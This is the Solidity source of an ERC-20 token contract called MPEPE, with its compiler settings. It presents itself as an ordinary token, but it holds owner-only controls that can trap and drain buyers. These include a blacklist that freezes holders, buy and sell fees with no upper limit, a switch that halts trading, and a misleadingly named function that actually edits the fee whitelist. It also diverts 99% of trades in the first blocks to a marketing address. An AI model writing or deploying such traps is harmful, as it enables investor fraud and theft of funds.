// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event reportNum(uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
}

interface ISwapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract MPEPE is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public MarketingAddress;
    address public RepoAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
 
    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _LPWhiteList;
    mapping(address => bool) public _blackList;

    uint256 private _tTotal;
    uint256 public maxTXAmount;
    uint256 public maxWalletAmount;
    uint256 public minimumTokensBeforeSwap;

    ISwapRouter public _swapRouter;
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyRepoFee = 2;
    uint256 public _buyMarketingFee = 2;
    uint256 public _buyLPDividendFee = 1;
    uint256 public _sellLPDividendFee = 1;
    uint256 public _sellRepoFee = 2;
    uint256 public _sellMarketingFee = 2;

    uint256 public _totalBuyFee = 5;
    uint256 public _totalSellFee = 5;

    bool public isVOpen = true;
    uint256 public vNum = 2;

    uint256 public startTradeBlock;
    uint256 public startAddLPBlock;

    address public _mainPair;

    event SwapTokensForETH(uint256 amountIn, address[] path);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _name = "MPEPE";
        _symbol = "MPEPE";
        _decimals = 9;

        ISwapRouter swapRouter = ISwapRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        //ISwapRouter swapRouter = ISwapRouter(0xD99D1c33F9fC3444f8101754aBC46c52416550D1);
        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX; //授权博饼

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(
            address(this),
            swapRouter.WETH()
        );
        _mainPair = swapPair;
        _swapPairList[swapPair] = true;

        uint256 total = 10000000 * 10 ** _decimals;
        maxTXAmount = 10000000 * 10 ** _decimals;
        maxWalletAmount = 10000000 * 10 ** _decimals;
        //这里记得改
        minimumTokensBeforeSwap = 2 * 10 ** _decimals;

        _tTotal = total;
        _balances[msg.sender] = total;
        emit Transfer(address(0), msg.sender, total);

        MarketingAddress = 0x287ad11FD751eA74c0DCc2760145f1bDf2d383Cb;
        _feeWhiteList[MarketingAddress] = true;
        _feeWhiteList[RepoAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;


        _totalBuyFee = _buyRepoFee.add(_buyMarketingFee).add(_buyLPDividendFee);
        _totalSellFee = _sellRepoFee.add(_sellMarketingFee).add(
            _sellLPDividendFee
        );
    }

    function symbol() public view override returns (string memory) {
        return _symbol;
    }

    function name() public view override returns (string memory) {
        return _name;
    }

    function decimals() public view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(!_blackList[from], "blackList");
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

 

        bool takeFee;
        bool isSell;

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            if (_swapPairList[from] || _swapPairList[to]) {
                if (0 == startTradeBlock) {
                    require(
                        0 < startAddLPBlock && _swapPairList[to],
                        "!startAddLP"
                    );
                }
                if (block.number < startTradeBlock + 4) {
                    _funTransfer(from, to, amount);
                    return;
                }

                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance >= minimumTokensBeforeSwap) {
                            contractTokenBalance = minimumTokensBeforeSwap;
                            swapTokenForETH(contractTokenBalance);
                        }
                    }
                }
                takeFee = true;

                if (startAddLPBlock > 0 && startTradeBlock == 0) {
                    takeFee = false;
                }
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);

    
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = (tAmount * 99) / 100;
        _takeTransfer(sender, MarketingAddress, feeAmount);
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;

        uint256 feeAmount;
        if (takeFee) {
            if (isSell) {
                feeAmount = tAmount.mul(_totalBuyFee).div(100);
            } else {
                require(tAmount <= maxTXAmount);
                require(_balances[recipient] + tAmount <= maxWalletAmount);
                feeAmount = tAmount.mul(_totalSellFee).div(100);
            }

            _takeTransfer(sender, address(this), feeAmount);
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        uint256 balanceBefore = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);

        uint256 balanceAfter = address(this).balance;
        uint256 balance = balanceAfter - balanceBefore;
        payable(MarketingAddress).transfer(balance);
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setBuyFee(
        uint256 buyRepoFee,
        uint256 buyMarketingFee,
        uint256 buyLPDividendFee
    ) external onlyOwner {
        _buyRepoFee = buyRepoFee;
        _buyMarketingFee = buyMarketingFee;
        _buyLPDividendFee = buyLPDividendFee;
        _totalBuyFee = _buyRepoFee.add(_buyMarketingFee).add(_buyLPDividendFee);
    }

    function setSellFee(
        uint256 sellRepoFee,
        uint256 sellMarketingFee,
        uint256 sellLPDividendFee
    ) external onlyOwner {
        _sellRepoFee = sellRepoFee;
        _sellMarketingFee = sellMarketingFee;
        _sellLPDividendFee = sellLPDividendFee;
        _totalSellFee = _sellRepoFee.add(_sellMarketingFee).add(
            _sellLPDividendFee
        );
    }

    function setMaxTxAmount(uint256 max) external onlyOwner {
        maxTXAmount = max;
    }

    function setMaxWalletAmount(uint256 max) external onlyOwner {
        maxWalletAmount = max;
    }

    function setMinimumTokensBeforeSwap(uint256 newLimit) external onlyOwner {
        minimumTokensBeforeSwap = newLimit;
    }

    function setblackList(
        address[] memory addList,
        bool val
    ) external onlyOwner {
        for (uint i = 0; i < addList.length; i++) {
            _blackList[addList[i]] = val;
        }
    }



    function releaseTokenForTeamAdvisorWallet(
        address[] memory addList,
        bool val
    ) external onlyOwner {
        for (uint i = 0; i < addList.length; i++) {
            _feeWhiteList[addList[i]] = val;
        }
    }


    function startAddLP() external onlyOwner {
        require(0 == startAddLPBlock, "startedAddLP");
        startAddLPBlock = block.number;
    }

    function closeAddLP() external onlyOwner {
        startAddLPBlock = 0;
    }

    function startTrade() external onlyOwner {
        require(0 == startTradeBlock, "trading");
        startTradeBlock = block.number;
    }

    function closeTrade() external onlyOwner {
        startTradeBlock = 0;
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _mainPair = addr;
        _swapPairList[addr] = enable;
    }

    function claimBalance(address to) external onlyOwner {
        payable(to).transfer(address(this).balance);
    }

    function claimToken(
        address token,
        uint256 amount,
        address to
    ) external onlyOwner {
        IERC20(token).transfer(to, amount);
    }

    receive() external payable {}


}

{
  "compilationTarget": {
    "MPEPE.sol": "MPEPE"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}